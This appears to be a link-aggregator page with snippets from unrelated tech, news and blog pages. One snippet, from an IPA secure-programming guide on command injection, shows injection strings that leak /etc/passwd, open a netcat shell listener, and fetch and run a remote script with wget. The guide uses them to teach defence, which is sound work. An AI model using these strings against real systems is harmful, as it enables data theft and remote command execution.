TechCrunch | Startup and Technology NewsAfter Apple loosened its App Store guidelines to permit game emulators, the retro game emulator Delta — an app 10 years in the making — hit the top of the…
IPA ISEC セキュア・プログラミング講座：Webアプリケーション編 第6章 入力・注入対策：コマンド注入攻撃対策
攻撃者は、この to_address に次のような文字列を与えて、サーバ運用者の意図に反したコマンドの実行を行わせることができる。 投入する文字列: evil@site </etc/passwd # → /etc/passwd ファイルが流出する 投入する文字列: dummy@site </dev/null; nc -l -p 8080 | sh # → 遠隔からシェルコマンドの投入を待ち受ける（ファイアウォールで阻止されないとき） 投入する文字列: dummy@site </dev/null; wget http://site/badscript; sh badscript # → 悪意のスクリプトをダウンロードし実行させられる 対策 その1： うっかりシェルを動かさない 自分ではそのつもりが無くても、プログラマがシェルを起動するAPIを気づかぬうちに使っていることがありうる。 使い方に
使って、もらおう！Hyper-V Serverキャンペーン 応募方法
このキャンペーンへ応募するためには、まずマイクロソフトのTechNetサイトから仮想化ソフトウェア「Hyper-V Server 2012 R2」をダウンロードしてください。ダウンロード後、ASCII.jpキャンペーンサイトでメールアドレスをご登録いただけば、応募受付は完了です。厳正なる抽選のうえ、当選者様には1月下旬～2月上旬に、メールにてご連絡さしあげます（賞品発送先のご住所などをおたずねします）。 ■応募にあたってのご注意 ・キャンペーン期間（応募受付期間）：2013/12/6（金）～2014/1/22（水） ・このキャンペーンは株式会社KADOKAWA ASCII.jp編集部が主催するものです。 ・キャンペーン期間中に「Hyper-V Server 2012 R2」をダウンロードしていない方のご応募は無効となります。 ・キャンペーンサイトでは、マイクロソフトのサイトでサインイン時に
Windows Server 2008/2008 R2 関連ドキュメント | マイクロソフト 技術情報
Microsoft Learn. Spark possibility. Build skills that open doors. See all you can do with documentation, hands-on training, and certifications to help you get the most from Microsoft products. Learn by doing Gain the skills you can apply to everyday situations through hands-on training personalized to your needs, at your own pace or with our global network of learning partners. Take training Find
Windows Server 2008/2008 R2 関連ドキュメント | マイクロソフト 技術情報
Microsoft Learn. Spark possibility. Build skills that open doors. See all you can do with documentation, hands-on training, and certifications to help you get the most from Microsoft products. Learn by doing Gain the skills you can apply to everyday situations through hands-on training personalized to your needs, at your own pace or with our global network of learning partners. Take training Find
本日12月1日より、プログラマ有志による2013年の技術系Advent Calendarが各所ではじまる | gihyo.jp
本日12月1日より、プログラマ有志による2013年の技術系Advent Calendarが各所ではじまる 本日12月1日より、プログラマ有志による2013年の各技術系Advent Calendar（アドベントカレンダー）が一日目を担当する人のblogではじまっている。 昨年以上に細分化されたため、昨年よりも今年のAdvent Calendarの数が多くなっているようだ。また、技術系以外の人に対してもこのような形式のAdvent Calendarの認知度が上がり、技術系以外のAdvent Calendarも昨年より増えている。 一般的なAdvent Calendarは、12月25日のクリスマスを楽しみに待つために、12月1日から24日までのカレンダーの日付の部分（扉だったりする）を開けるようになっており、1日ずつその日の日付の部分を開くと天使や動物の絵などが見えるという仕組み（もちろん、様々
数学のカレンダー | Advent Calendar 2013 - Qiita
About reserved postingIf you register a secret article by the day before the same day, it will be automatically published around 7:00 on the same day. About posting periodOnly articles submitted after November 1 of the year can be registered. (Secret articles can be registered anytime articles are posted.)
キャス・サンスティーン『熟議が壊れるとき―民主政と憲法解釈の統治理論』那須耕介編・訳 - 一日一冊
サンスティーンはセイラー教授との共著もあるので、読者を楽しませる技術には期待できるのではないかと思っていましたが、本書は実務家・研究者としての面目躍如たるものがあり、思いっきり難しい専門論文でした。 この難しさはアメリカの学会および政治状況の複雑さを反映しているのでしょう。ロールズやドゥウォーキンの議論難しさと共通するところです。どうやら彼の地では、ああ言えばこう言う人たちがひしめいているので、議論の予防線を張るだけでも大仕事になるようです。 集団極化や司法ミニマリズム批判といった問題設定は魅力的なので、研究者にとっては読まなければバカにされそうですし、読んでみると退屈ですし、どうしましょうという感じです。 しかし、このあたりを引用しようかと思って読んでいくと、それらしいところは見つかりやすいように構成されていて便利ではあります。 研究者には優しい本ですが、アメリカの司法に興味がなく、法哲
バス運転手不足で初の検討会 NHKニュース
バスの運転に必要な大型２種免許を持つ人が減り、数年後には大都市でも路線バスの運行が立ち行かなくなる可能性があるとして、国土交通省が、運転手の確保について話し合う検討会を初めて開きました。 国土交通省で開かれた初めての検討会には、交通政策の専門家やバス会社の経営者、それに運転手の労働組合の担当者など２７人が出席しました。 バスの運転には大型２種免許が必要ですが、国によりますと、この免許を持つ人は、現在およそ１０２万人で、この１５年間で２０万人余り減りました。 これに伴って路線バスの運転手も、ピークだった昭和５１年のおよそ１０万７０００人が、２年前にはおよそ８万人と、２５％余り減っています。 このため国土交通省は、このまま減り続ければ数年後には大都市でも便数を減らしたり路線を廃止したりする会社が出てくる可能性があるとしています。 また検討会では、バスの運転手の平均年齢が、産業全体の労働者より６
インフラエンジニアを採用したい！ | ペパボ採用担当ブログ
早いものでもう年の瀬。 年末年始のお休みが9連休となる方も多くいらっしゃるのではないでしょうか。 忘年会にクリスマス…マフラーを巻いて街へ出て恥ずかしながらもウキウキ通りを行ったり来たりしたくなるこの季節がやってきましたね。 みなさんはサンタさんにどんなプレゼントが欲しいとお願いしましたか？ 32才・女盛りの渋谷勤務OLの私が大きな靴下を用意してお願いしたプレゼント、それは・・・ イ、イ、インフラエンジニアです！ 願掛けよろしく我が家のクリスマスツリーにtwinkle☆antipopを飾ってみました。 弊社はインターネットサービスをあれこれ展開しています。 大きく括ってホスティング事業、EC事業、メディア事業の３つを事業部制で運営しています。 小さなサービスは3名くらいのチームで、ロリポップ！やカラーミーショップなどの大きなサービスは大所帯となり、サービスの中でもWEB開発やカスタマーサー
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
https://kb.vmware.com/s/article/2013733
Training
カーネル/VMのカレンダー | Advent Calendar 2013 - Qiita